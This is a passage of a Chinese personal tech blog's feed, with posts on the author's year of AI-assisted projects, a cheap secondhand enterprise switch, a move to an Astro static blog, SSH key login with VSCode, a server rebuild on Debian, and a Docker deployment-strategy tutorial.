&lt;li&gt;&lt;strong&gt;夜晚是航道：&lt;/strong&gt; 真正的思维高峰出现在 20:00 到凌晨 01:00&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;AI 指出，我几乎没有 &lt;code&gt;清晨刚醒就聊天&lt;/code&gt; 的记录，也很少进行 &lt;code&gt;寒暄型开场&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;我的对话节奏是 &lt;strong&gt;直切核心&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这不仅是工作习惯的体现，更像是一种生活隐喻：在喧嚣的白日里解决问题，在静谧的深夜里构建体系&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;你不是来让我 &lt;code&gt;陪你聊天&lt;/code&gt; 的&lt;/p&gt;
&lt;p&gt;你对 AI 的期待是：参与生产，而不是提供情绪价值&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;02. 对话的重量：不是搜索，是协作&lt;/h2&gt;
&lt;p&gt;一个非常有意思的数据是关于** &lt;code&gt;对话深度&lt;/code&gt; **的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;平均对话深度：&lt;strong&gt;5.2 ~ 6.5 轮&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;单次输入：经常在 1000~3000 字，包含大部分代码、配置和日志&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这明显区别于 &lt;code&gt;问一句就走&lt;/code&gt; 的搜索引擎式用法&lt;/p&gt;
&lt;p&gt;AI 在总结中敏锐地捕捉到了这一点——我把它当成了 &lt;strong&gt;架构师、反向分析助手、甚至是产品文档生成器&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这种 &lt;code&gt;连续推进感&lt;/code&gt; 意味着，我不再将 AI 视为一个仅仅提供答案的工具，而是一个能够理解上下文、能够跟我进行 &lt;code&gt;思维乒乓&lt;/code&gt; 的协作对象（Partner）&lt;/p&gt;
&lt;h2&gt;03. 核心引力：控制权与长期主义&lt;/h2&gt;
&lt;p&gt;如果把这一年的对话内容提取关键词，会发现几个高频出现的 &lt;code&gt;重力中心&lt;/code&gt; ：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;技术栈：&lt;/strong&gt; Docker, Jetpack Compose, Flutter, Emby, Reverse Engineering&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;核心动作：&lt;/strong&gt; 自托管（Self-hosting）、反向代理、授权鉴权、系统构建&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;两份总结不约而同地提到了一个词：&lt;strong&gt;控制权（Control）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我反复折腾 License 校验、研究 .NET 混淆、搭建私有的媒体生态（Emby/Jellyfin），不是为了省钱，而是为了 &lt;strong&gt;数据主权&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;AI 的观察一针见血：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;你在意的不是 &lt;code&gt;今天能不能用&lt;/code&gt;， 而是 &lt;code&gt;未来是否仍然属于你&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;你反复关注：License 是否可控，是否能私有化，是否能脱离第三方&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这就是我这一年的底色&lt;/p&gt;
&lt;p&gt;在这个 SaaS 订阅制横行的时代，我依然固执地选择做一名 &lt;code&gt;数字囤积者&lt;/code&gt; 和 &lt;code&gt;系统构建者&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;我不仅是在写代码，我是在为自己的数字生活铺路&lt;/p&gt;
&lt;h2&gt;04. 闪光点：在混乱中寻找秩序&lt;/h2&gt;
&lt;p&gt;报告中有一段关于 &lt;code&gt;情绪底色&lt;/code&gt; 的描述让我很触动&lt;/p&gt;
&lt;p&gt;即使在面对报错刷屏、逆向分析失败、工具受限的时候，我的情绪曲线依然是 &lt;strong&gt;冷静、有野心、不浮躁&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;所有的烦躁最终都转化为了： &lt;code&gt;分析 -&amp;gt; 解决&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;AI 甚至帮我总结了三个我不曾自知的优点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;不停留在 &lt;code&gt;能用&lt;/code&gt; ：&lt;/strong&gt; 从能用到好用，再到可扩展&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;回过头来 &lt;code&gt;铺路&lt;/code&gt; ：&lt;/strong&gt; 将零散的知识整理成 Markdown，将项目文档化&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;架构级思维：&lt;/strong&gt; 不问 &lt;code&gt;怎么用&lt;/code&gt; ，而问 &lt;code&gt;这合理吗？&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这些瞬间被 AI 标记为 &lt;code&gt;High-Light Moments&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;看来，那些独自对着屏幕敲击键盘的深夜，那些为了一个更优雅的架构而推翻重来的时刻，并没有白费&lt;/p&gt;
&lt;p&gt;它们被算法记住了，也被时间记住了&lt;/p&gt;
&lt;h2&gt;05. 给 2026 的回答&lt;/h2&gt;
&lt;p&gt;在总结的最后，AI 问了我一个问题：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果 2026 年的你回头看现在这一年，你最希望‘没有放弃’的，会是哪一个项目或方向？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;看着这份档案，我的答案很清晰&lt;/p&gt;
&lt;p&gt;我希望没有放弃的，不是某一个具体的 App（无论是 StarEye 还是 DockerManager），而是这种 &lt;strong&gt;&lt;code&gt;把兴趣变成系统，把系统变成作品&lt;/code&gt; &lt;strong&gt;的能力，以及那种&lt;/strong&gt; &lt;code&gt;愿意给时间让事情变好&lt;/code&gt;&lt;/strong&gt; 的耐心&lt;/p&gt;
&lt;p&gt;2025 年，感谢 AI 陪我把复杂的世界拆解得更清楚&lt;/p&gt;
&lt;p&gt;2026 年，继续构建，继续拥有&lt;/p&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;2025 关键词&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;角色：&lt;/strong&gt; 架构师 &amp;amp; 构建者&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;模式：&lt;/strong&gt; 深度工作 &amp;amp; 夜猫子&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;理念：&lt;/strong&gt; 长期主义 &amp;amp; 数据主权&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;情绪：&lt;/strong&gt; 冷静 &amp;amp; 理性&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>80元收的DCN S4600交换机</title><link>https://blog.hiyun.top/posts/80%E5%85%83%E6%94%B6%E7%9A%84dcn-s4600%E4%BA%A4%E6%8D%A2%E6%9C%BA/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/80%E5%85%83%E6%94%B6%E7%9A%84dcn-s4600%E4%BA%A4%E6%8D%A2%E6%9C%BA/</guid><description>今天80块钱收了一台DCN S4600-28P-SI交换机，性价比超高，记录一下这次捡漏经历</description><pubDate>Sat, 13 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;意外的收获&lt;/h3&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;p&gt;今天学校组织了爱心义卖活动，本来只是想去凑个热闹，看看同学们都卖些什么&lt;/p&gt;
&lt;p&gt;逛了一圈，大多是些书籍、文具、小饰品之类的常见物品&lt;/p&gt;
&lt;p&gt;没想到走到一个摊位前，竟然看到了一台 &lt;strong&gt;DCN S4600-28P-SI&lt;/strong&gt; 交换机，标价80元&lt;/p&gt;
&lt;p&gt;这完全出乎我的意料——义卖会上居然会有这种企业级网络设备？&lt;/p&gt;
&lt;p&gt;仔细看了看配置和成色，瞬间心动了&lt;/p&gt;
&lt;h4&gt;为什么选择它&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;DCN S4600-28P-SI&lt;/strong&gt; 是神州数码（DCN）推出的一款企业级二层交换机&lt;/p&gt;
&lt;p&gt;主要规格如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;28个千兆电口&lt;/strong&gt;（24个普通口 + 4个上联口）&lt;/li&gt;
&lt;li&gt;支持 &lt;strong&gt;VLAN、STP、链路聚合&lt;/strong&gt; 等企业级功能&lt;/li&gt;
&lt;li&gt;提供 Web 管理和命令行两种管理方式&lt;/li&gt;
&lt;li&gt;功耗相对较低，适合家用或小型工作室使用&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;性价比分析&lt;/h4&gt;
&lt;p&gt;80块钱能买到什么？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;一台全新的傻瓜交换机？可能只能买到8口的&lt;/li&gt;
&lt;li&gt;一台二手的家用路由器？功能有限，性能一般&lt;/li&gt;
&lt;li&gt;但80块能买到28口的&lt;strong&gt;企业级交换机&lt;/strong&gt;，这性价比简直爆表&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;虽然是二手设备，但企业级设备的做工和稳定性通常比家用设备好很多
而且这种设备往往设计寿命更长，用料也更扎实&lt;/p&gt;
&lt;h4&gt;使用场景&lt;/h4&gt;
&lt;p&gt;我打算用它来做这些事情：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;家庭网络改造&lt;/strong&gt;：把家里的各种网络设备都接到这台交换机上，实现更稳定的内网连接&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;学习网络技术&lt;/strong&gt;：可以实践 VLAN、STP、链路聚合等网络协议，提升自己的网络知识&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;小型工作室&lt;/strong&gt;：如果以后有工作室，这台设备也能派上用场，支持更多设备同时接入&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;一些注意事项&lt;/h4&gt;
&lt;p&gt;虽然是捡漏，但购买二手网络设备时也要注意：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;检查设备是否正常工作，能否正常启动&lt;/li&gt;
&lt;li&gt;确认是否有管理密码（可能需要重置才能使用）&lt;/li&gt;
&lt;li&gt;检查所有端口是否都能正常使用，没有损坏&lt;/li&gt;
&lt;li&gt;注意功耗和散热（虽然企业级设备通常散热做得不错，但也要确保有足够的空间）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;总结&lt;/h4&gt;
&lt;p&gt;80块钱买到28口企业级交换机，这波绝对不亏&lt;/p&gt;
&lt;p&gt;虽然可能用不到那么多口，但&lt;strong&gt;有总比没有好&lt;/strong&gt;，以后扩展也方便&lt;/p&gt;
&lt;p&gt;而且企业级设备的稳定性和功能，是家用设备无法比拟的
无论是 VLAN 划分还是链路聚合，都能让网络管理更加灵活&lt;/p&gt;
&lt;p&gt;期待用它来改造家里的网络环境，让家里的网络更加稳定高效！&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;后记&lt;/strong&gt;：如果你也在考虑购买网络设备，不妨多关注一下二手市场或者类似的义卖活动
有时候能淘到性价比很高的企业级设备，既能满足需求，又能省下一笔不小的开支&lt;/p&gt;
</content:encoded></item><item><title>来自双十二的博客更新</title><link>https://blog.hiyun.top/posts/%E6%9D%A5%E8%87%AA%E5%8F%8C%E5%8D%81%E4%BA%8C%E7%9A%84%E5%8D%9A%E5%AE%A2%E6%9B%B4%E6%96%B0/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/%E6%9D%A5%E8%87%AA%E5%8F%8C%E5%8D%81%E4%BA%8C%E7%9A%84%E5%8D%9A%E5%AE%A2%E6%9B%B4%E6%96%B0/</guid><description>从 VanBlog 迁移到 Astro 静态博客的心路历程</description><pubDate>Fri, 12 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;告别 VanBlog，拥抱 Astro&lt;/h3&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;p&gt;双十二这天，终于把博客从 &lt;strong&gt;VanBlog&lt;/strong&gt; 迁移到了基于 &lt;strong&gt;Astro&lt;/strong&gt; 的静态博客系统&lt;/p&gt;
&lt;p&gt;其实这个想法已经酝酿很久了&lt;/p&gt;
&lt;h4&gt;为什么离开 VanBlog&lt;/h4&gt;
&lt;p&gt;VanBlog 确实是个不错的博客系统
界面简洁、功能完善，还有后台管理面板
但用久了总觉得有些&lt;strong&gt;不够灵活&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;想要自定义样式？得改模板文件&lt;/li&gt;
&lt;li&gt;想要添加新功能？得深入源码&lt;/li&gt;
&lt;li&gt;部署方式相对固定，不够轻量&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;作为一个喜欢折腾的人
总想有更多的控制权&lt;/p&gt;
&lt;h4&gt;为什么选择 Astro&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Astro&lt;/strong&gt; 是一个静态站点生成器
最大的特点是&lt;strong&gt;按需加载 JavaScript&lt;/strong&gt;
这意味着更快的页面加载速度
更少的资源消耗&lt;/p&gt;
&lt;p&gt;而且：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;完全静态，部署简单&lt;/li&gt;
&lt;li&gt;基于 Markdown，内容管理方便&lt;/li&gt;
&lt;li&gt;可以自由定制主题和功能&lt;/li&gt;
&lt;li&gt;构建产物就是纯 HTML/CSS/JS，想放哪都行&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;迁移过程&lt;/h4&gt;
&lt;p&gt;迁移其实比想象中简单&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;导出文章&lt;/strong&gt;：VanBlog 支持导出 Markdown，直接拿到所有文章&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;调整格式&lt;/strong&gt;：统一 frontmatter 格式，添加必要的元数据&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;迁移资源&lt;/strong&gt;：把图片、附件等资源移到 &lt;code&gt;public&lt;/code&gt; 目录&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自定义配置&lt;/strong&gt;：调整主题色、导航栏、友链等&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;部署上线&lt;/strong&gt;：构建后直接部署到静态托管&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;整个过程大概花了一个下午
主要是调整样式和配置比较费时间&lt;/p&gt;
&lt;h4&gt;新系统的体验&lt;/h4&gt;
&lt;p&gt;用了一段时间，感觉确实不错：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;速度更快&lt;/strong&gt;：纯静态页面，加载飞快&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;更灵活&lt;/strong&gt;：想改什么直接改代码，完全掌控&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;更轻量&lt;/strong&gt;：不需要数据库，不需要后台服务&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;更现代&lt;/strong&gt;：基于最新的前端技术栈&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;当然也有一些小遗憾：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;没有了后台管理面板，写文章得直接编辑 Markdown&lt;/li&gt;
&lt;li&gt;评论系统需要接入第三方服务&lt;/li&gt;
&lt;li&gt;一些动态功能需要额外配置&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;但总体来说，&lt;strong&gt;自由度更高，更适合喜欢折腾的人&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;写在最后&lt;/h4&gt;
&lt;p&gt;这次迁移算是给自己一个重新开始的机会
也让我重新思考了博客的本质&lt;/p&gt;
&lt;p&gt;博客的核心是&lt;strong&gt;内容&lt;/strong&gt;，而不是花哨的功能
简单、快速、稳定，才是最重要的&lt;/p&gt;
&lt;p&gt;希望这个新系统能陪伴我更久
也希望能在这里记录更多有趣的内容&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;大道至简，算理无边&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>为 Linux 服务器配置密钥登录与 VSCode 免密远程连接</title><link>https://blog.hiyun.top/posts/%E4%B8%BA-linux-%E6%9C%8D%E5%8A%A1%E5%99%A8%E9%85%8D%E7%BD%AE%E5%AF%86%E9%92%A5%E7%99%BB%E5%BD%95%E4%B8%8E-vscode-%E5%85%8D%E5%AF%86%E8%BF%9C%E7%A8%8B%E8%BF%9E%E6%8E%A5/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/%E4%B8%BA-linux-%E6%9C%8D%E5%8A%A1%E5%99%A8%E9%85%8D%E7%BD%AE%E5%AF%86%E9%92%A5%E7%99%BB%E5%BD%95%E4%B8%8E-vscode-%E5%85%8D%E5%AF%86%E8%BF%9C%E7%A8%8B%E8%BF%9E%E6%8E%A5/</guid><description>为 Linux 服务器配置密钥登录与 VSCode 免密远程连接</description><pubDate>Fri, 28 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;如何在本地生成 SSH 密钥并将公钥添加到服务器，实现无密码（密钥）登录 Linux&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;h2&gt;生成密钥&lt;/h2&gt;
&lt;p&gt;使用工具 &lt;code&gt;ssh-keygen&lt;/code&gt; 生成一对私钥与公钥&lt;/p&gt;
&lt;p&gt;Windows 10/11 理论上已内置 OpenSSH 组件，可以直接使用此命令&lt;/p&gt;
&lt;p&gt;没有的话也可以装一个 Git 然后用 Git Bash&lt;/p&gt;
&lt;p&gt;或者在 系统设置 -&amp;gt; 应用 -&amp;gt; 可选功能 -&amp;gt; 添加可选功能 中安装 OpenSSH 客户端并重启&lt;/p&gt;
&lt;p&gt;使用以下命令生成密钥&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh-keygen -t rsa
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;想要实现免密登录需要将密码短语（passphrase）留空&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;执行完成后可以获得一个私钥文件 &lt;code&gt;id_rsa&lt;/code&gt; 与一个公钥文件 &lt;code&gt;id_rsa.pub&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;将私钥文件备份好，防止遗失或泄露，打开公钥文件，将其中的内容复制到剪切板&lt;/p&gt;
&lt;h2&gt;导入密钥&lt;/h2&gt;
&lt;p&gt;登录 Linux 服务器，打开 &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt; 文件&lt;/p&gt;
&lt;p&gt;取消 &lt;code&gt;PubkeyAuthentication&lt;/code&gt; 的注释（删除 &lt;code&gt;#&lt;/code&gt;，如不存在此项可以在文件末尾手动添加），并确保其值为 yes，可开启密钥登录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PubkeyAuthentication yes
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;（可选）将 &lt;code&gt;PasswordAuthentication&lt;/code&gt; 的值改为 no（如不存在此项可以在文件末尾手动添加），可关闭密码登录&lt;/p&gt;
&lt;p&gt;完成后保存文件&lt;/p&gt;
&lt;p&gt;打开 &lt;code&gt;~/.ssh/authorized_keys&lt;/code&gt; 文件（如不存在可手动创建该文件并设置权限为 600）&lt;/p&gt;
&lt;p&gt;将之前复制的公钥内容粘贴到文件末尾（另起一行）&lt;/p&gt;
&lt;p&gt;完成后保存文件&lt;/p&gt;
&lt;p&gt;使用 &lt;code&gt;systemctl restart sshd&lt;/code&gt; 命令重启 SSH 服务&lt;/p&gt;
&lt;h2&gt;测试远程连接&lt;/h2&gt;
&lt;p&gt;将私钥文件（&lt;code&gt;id_rsa&lt;/code&gt;）放置于 &lt;code&gt;用户主目录/.ssh/&lt;/code&gt; 文件夹中&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Linux 下用户主目录为 &lt;code&gt;~&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Windows 下用户主目录为 &lt;code&gt;%homepath%&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;打开 VSCode ，连接远程服务器，如未弹出密码登录窗口，则说明密钥登录配置成功&lt;/p&gt;
</content:encoded></item><item><title>关于为什么站点沉寂这么久</title><link>https://blog.hiyun.top/posts/%E5%85%B3%E4%BA%8E%E4%B8%BA%E4%BB%80%E4%B9%88%E7%AB%99%E7%82%B9%E6%B2%89%E5%AF%82%E8%BF%99%E4%B9%88%E4%B9%85/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/%E5%85%B3%E4%BA%8E%E4%B8%BA%E4%BB%80%E4%B9%88%E7%AB%99%E7%82%B9%E6%B2%89%E5%AF%82%E8%BF%99%E4%B9%88%E4%B9%85/</guid><description>关于为什么站点沉寂这么久</description><pubDate>Sat, 08 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;服务器复活记&lt;/h3&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;p&gt;大约一个月前的某个夜晚，服务器彻底“睡死”了
原本计划只是例行重启，结果第二天早上打开面板——&lt;strong&gt;引导没了&lt;/strong&gt;
系统直接报错，连救援模式都进不去。那一刻我明白
是时候放它休息一下了&lt;/p&gt;
&lt;p&gt;当时想着“反正快考试了，等考完再修”
结果这一拖，就变成了一个月
期间偶尔路过机架，看到那盏永远暗着的电源灯
心里还是有点不是滋味&lt;/p&gt;
&lt;p&gt;这次索性趁空档彻底重装了一遍系统
&lt;strong&gt;从 Windows Server 回到了 Linux&lt;/strong&gt;
主要是 Windows 的远程维护实在麻烦&lt;/p&gt;
&lt;p&gt;服务部署、权限管理、自动化脚本都不如 Linux 顺手
于是重新分区、重建引导、装上 Debian
接着恢复 Docker 环境、容器网络和挂载卷&lt;/p&gt;
&lt;p&gt;几个小时后，熟悉的命令行再次出现在屏幕上
那一刻只有一个想法：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“至少它复活了”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;目前一切运行良好，服务比之前更干净、轻量，
顺便也清理了很多旧配置
算是一次&lt;strong&gt;意外的系统重生&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>Docker入门系列 (15) - 项目实战总结与部署策略</title><link>https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-15---%E9%A1%B9%E7%9B%AE%E5%AE%9E%E6%88%98%E6%80%BB%E7%BB%93%E4%B8%8E%E9%83%A8%E7%BD%B2%E7%AD%96%E7%95%A5/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-15---%E9%A1%B9%E7%9B%AE%E5%AE%9E%E6%88%98%E6%80%BB%E7%BB%93%E4%B8%8E%E9%83%A8%E7%BD%B2%E7%AD%96%E7%95%A5/</guid><description>Docker入门系列 (15) - 项目实战总结与部署策略</description><pubDate>Sun, 05 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;经过前十四章的学习，我们已经掌握了 Docker 的核心概念、工具链、编排方式与安全实践&lt;/p&gt;
&lt;p&gt;本章将以项目实战为背景，总结从开发到部署的完整流程，并介绍多环境部署、自动化构建与云端部署策略，帮助你将 Docker 技术真正应用到生产环境中&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;项目结构建议&lt;/h2&gt;
&lt;p&gt;一个典型的 Docker 项目结构：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;myapp/
├── docker-compose.yml
├── Dockerfile
├── .dockerignore
├── .env
├── scripts/
│   └── build.sh
├── services/
│   ├── frontend/
│   ├── backend/
│   └── db/
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Dockerfile&lt;/code&gt;：定义镜像构建方式&lt;/li&gt;
&lt;li&gt;&lt;code&gt;docker-compose.yml&lt;/code&gt;：定义服务栈&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.env&lt;/code&gt;：环境变量配置&lt;/li&gt;
&lt;li&gt;&lt;code&gt;scripts/&lt;/code&gt;：自动化脚本&lt;/li&gt;
&lt;li&gt;&lt;code&gt;services/&lt;/code&gt;：按模块拆分服务目录&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;多环境部署策略&lt;/h2&gt;
&lt;p&gt;使用 Compose 的多文件合并功能：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker-compose -f docker-compose.yml -f docker-compose.prod.yml up -d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;示例结构：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;docker-compose.yml&lt;/code&gt;：开发环境配置&lt;/li&gt;
&lt;li&gt;&lt;code&gt;docker-compose.prod.yml&lt;/code&gt;：生产环境覆盖项（如关闭 volumes、启用镜像版本）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;使用 &lt;code&gt;.env&lt;/code&gt; 文件区分环境变量：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NODE_ENV=production
DB_HOST=db
DB_PASSWORD=securepass
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;自动化构建与部署&lt;/h2&gt;
&lt;p&gt;使用 Makefile 或 Shell 脚本统一构建流程：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;build:
    docker-compose build

up:
    docker-compose up -d

deploy:
    docker-compose -f docker-compose.yml -f docker-compose.prod.yml up -d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结合 CI/CD 工具（如 Jenkins、GitHub Actions）实现自动化：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# GitHub Actions 示例
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Build Docker image
        run: docker build -t myapp .
      - name: Push to Registry
        run: docker push yourname/myapp
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;云端部署建议&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;平台&lt;/th&gt;
&lt;th&gt;特点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Docker Swarm&lt;/td&gt;
&lt;td&gt;轻量级，适合中小项目&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kubernetes&lt;/td&gt;
&lt;td&gt;企业级，支持弹性伸缩与服务网格&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AWS ECS&lt;/td&gt;
&lt;td&gt;与 AWS 服务集成紧密&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GCP Cloud Run&lt;/td&gt;
&lt;td&gt;无服务器容器部署，自动扩缩容&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Azure Container Apps&lt;/td&gt;
&lt;td&gt;微服务友好，支持事件驱动架构&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;版本管理与发布策略&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;使用语义化版本号（如 &lt;code&gt;v1.2.3&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;每次构建生成唯一标签（如 &lt;code&gt;v1.2.3-commit-hash&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;使用 Git Tag 与 CI/CD 联动发布&lt;/li&gt;
&lt;li&gt;保留稳定版本，清理过期镜像&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;实战总结流程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;编写 Dockerfile，定义服务环境&lt;/li&gt;
&lt;li&gt;使用 Compose 编排多服务栈&lt;/li&gt;
&lt;li&gt;使用 Volume 管理数据持久化&lt;/li&gt;
&lt;li&gt;使用 Registry 管理镜像版本&lt;/li&gt;
&lt;li&gt;使用 systemd 或 CI/CD 实现自动部署&lt;/li&gt;
&lt;li&gt;使用安全策略加固镜像与运行环境&lt;/li&gt;
&lt;li&gt;部署到云端或集群平台，实现高可用与弹性伸缩&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;Docker 不只是一个容器工具，它是一整套现代应用交付体系&lt;/p&gt;
&lt;p&gt;从开发环境构建、服务编排、安全加固，到自动化部署与云端集成，Docker 为开发者提供了前所未有的灵活性与效率&lt;/p&gt;
&lt;p&gt;本系列至此告一段落，但你的容器化之路才刚刚开始。&lt;/p&gt;
&lt;p&gt;愿你在未来的项目中，用 Docker 构建出更稳定、更高效、更优雅的系统架构&lt;/p&gt;
